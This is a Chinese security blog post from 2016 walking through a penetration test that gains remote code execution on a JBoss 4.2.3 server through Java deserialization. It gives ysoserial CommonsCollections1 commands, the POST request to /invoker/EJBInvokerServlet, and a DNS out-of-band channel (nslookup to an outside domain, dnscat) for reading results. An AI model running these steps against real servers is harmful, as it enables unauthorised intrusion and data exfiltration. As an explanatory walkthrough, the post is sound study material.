一次利用JBOSS反序列化进行渗透的笔记 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

一次利用JBOSS反序列化进行渗透的笔记

Change 技术 2016-09-03 13:33:10
347841
收藏

导语:本文中全是简化的步骤,大家可以在本地搭建一个JSP环境。在渗透过程中,我也遇到一些不知道如何解决的问题。但是依然可以通过JBoss (4.2.3) 有一个JAVA反序列化漏洞获得远程控制权限。

首先,本篇文章是参考以下几篇文章和工具介绍完成的:

https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#jboss

https://github.com/frohoff/ysoserial

http://artsploit.blogspot.com/2016/01/paypal-rce.html

本文中全是简化的步骤,大家可以在本地搭建一个JSP环境。在渗透过程中,我也遇到一些不知道如何解决的问题。但是依然可以通过JBoss (4.2.3) 有一个JAVA反序列化漏洞获得远程控制权限。在这台机器上的端口存在着端口过滤,这样的话,我就没法用http,ftp和telent端口。不过通过一些报错页面可以确定这台机器是Windows主机。

步骤,利用

1.用ysoserial生成payload

2.将你的payload写入文件中

$ java -jarysoserial-0.0.4-all.jarCommonsCollections1 ‘fake.exe’ > serialdata

3.在本例子中,我使用的是‘fake.exe’ 作为例子。原来我跑的命令是类似于 wget, curl, python, perl, etc这样的,但是返回都是如下“The system cannot find the filespecified”

4.首先,用如下所示的请求包头:

POST /invoker/EJBInvokerServlet HTTP/1.1
Host: site.com
Accept: */*
Accept-Language: en
ContentType: application/x-java-serialized-object;.jboss.invocation.MarshalledInvocation
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 1400

5.在burpsuit中拦截该包,进行进一步改包

6.响应包(‘cannot find file’没有成功)

7.然后我决定试试cmd.exe

$java -jar ysoserial-0.0.4-all.jarCommonsCollections1 ‘cmd.exe’ > serialdata

8.请求包:

9.响应包(“cannotfind file”没有了,说明成功了)

 

10. 从结果中,我们已经可以运行cmd.exe了,我试了好几种内网外联,但是只有DNS可行,在这里也要感谢@dawgyg的DNS服务器。

11. 命令:

$ java -jarysoserial-0.0.4-all.jarCommonsCollections1 ‘nslookup mealstest.example.com’> serialtest

12. DNS服务器日志:

$ sudo tail -f/var/log/messages
…snip…
Jul 2200:10:00 server named[7356]: client18x.x.x.x#33347: query: mealstest.example.comIN A -EDC (10.0.5.200)

13.就这样,通过dnscat,我们基本上可以一行一行的看到结果,基本上已经是可以远程代码执行了

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2024 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务